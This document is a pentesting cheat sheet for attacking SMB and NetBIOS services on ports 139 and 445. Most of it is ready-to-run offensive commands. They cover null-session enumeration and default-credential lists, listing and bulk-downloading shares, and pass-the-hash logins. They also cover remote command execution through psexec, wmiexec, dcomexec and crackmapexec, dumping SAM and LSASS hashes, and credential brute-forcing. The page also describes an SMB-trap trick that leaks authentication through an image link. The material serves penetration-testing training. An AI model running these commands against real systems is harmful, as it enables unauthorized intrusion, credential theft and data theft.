Physical attacks
Mobile Apps Pentesting
Pentesting

139,445 - Pentesting SMB

Port 139

NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

Port 445

While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP. (extracted from here)

445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

IPC$ share

From book Network Security Assessment 3rd edition

With an anonymous null session you can access the IPC$ share and interact with services exposed via named pipes. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following:

  • Operating system information

  • Details of the parent domain

  • A list of local users and groups

  • Details of available SMB shares

  • The effective system security policy

NTLM Information

I am sure that you will find very insteresting the page about NTLM where is explained how this protocol works and how you can take advantage of it.

Search exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Scan a network searching for hosts:

nbtscan -r 192.168.0.1/24

Credentials

Username(s)

Common passwords

(blank)

(blank)

guest

(blank)

Administrator, admin

(blank), password, administrator, admin

arcserve

arcserve, backup

tivoli, tmersrvd

tivoli, tmersrvd, admin

backupexec, backup

backupexec, backup, arcada

test, lab, demo

password, test, lab, demo

To obtain information from the SMB service:

enum4linux -a <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
snmblookup -A <IP>
rpcclient -U "" target
python $(which samrdump.py) -port 139 <IP>
python $(which samrdump.py) -port 445 <IP>
python $(which rpcdump.py) -port 135 <IP>
python $(which rpcdump.py) -port 139 <IP>
python $(which rpcdump.py) -port 445 <IP>

To understand better how the tools rpcclient, samrdump and rpcdump works you should read Pentesting WRPC

It is always recommended to look if you can access to anything using null credentials.

smbclient --no-pass -L //<IP> # -L to list shares
crackmapexec smb <IP> -u '' -p '' --shares
smbmap -H <IP>

SMB server version

To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can:

Use the MSF auxiliary module auxiliary/scanner/smb/smb_version

Or this script:

#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Connect/List with null credentials to a folder:

smbclient --no-pass //<IP>/<Folder> # Connect to Folder
sudo smbclient --no-pass "\\\\10.10.10.103\\Department Shares" #If the folder has spaces in the name
smbclient //<IP>/<share> --no-pass -c 'recurse;ls' # list in recursive way
smbmap -R Folder -H <IP> # Recursive list, without folder it list everything
smbmap -r Folder -H <IP> # Non-Recursive list

Using username and password:

smbmap -u victim -p s3cr3t -H 192.168.86.61 -R Folder # Recursive list
smbclient '\\server.domain.tld\share' -U 'domain\myADusername%password' # Connect using creds
smbclient -U user \\\\server\\share
mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share

Using username and HASH

crackmapexec domain.tld -u <user> -H <HASH> --shares #To list shares of the user via CME
smbclient -U <user> --pw-nt-hash //domain.tld/share #To coonect, use the hash as password
smbmap -u <USER> -p '<NT>:<LM>' -H <IP> #If you only have NT, put it in the <LM> field

Download files

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> recurse ON
> prompt OFF
> mget *
#Download everything to current directory

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Execute

crackmapexec

apt-get install crackmapexec
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
# Using --exec-method -1,2,3 wmiexec,atexec,smbexec
crackmapexec -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes

Both options will create a new service (using \pipe\svcctl via SMB) in the victim machine and use it to execute something (psexec will upload an executable file to ADMIN$ share and smbexec will point to cmd.exe/powershel.exe and put in the arguments the payload -file-less technique-)

python psexec.py domain.tld/administrator:password@10.10.10.100
python psexec.py -hashes LM:NT administrator@10.10.10.103
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135

wmiexec.py itsmemario@10.10.10.152 #Prompt for password
wmiexec.py dom/itsmemario:password@10.10.10.152
wmiexec.py -hashes LM:NT administrator@10.10.10.103
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Using parameter-k you can authenticate against kerberos instead of NTLM

dcomexec.py dom/itsmemario@10.10.10.152 #Prompt for password
dcomexec.py dom/itsmemario:password@10.10.10.152
dcomexec.py -hashes LM:NT administrator@10.10.10.103
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB)

Impacket reference

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Bruteforce users credentials

This is not recommended, you could block an account if you exceed the maximum allowed tries

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce eachusername

SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: img src="\\10.10.10.10\path\image.jpg"

This happens with the funcions:

  • URLDownloadToFile

  • URLDownloadToCache

  • URLOpenStream

  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap using MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html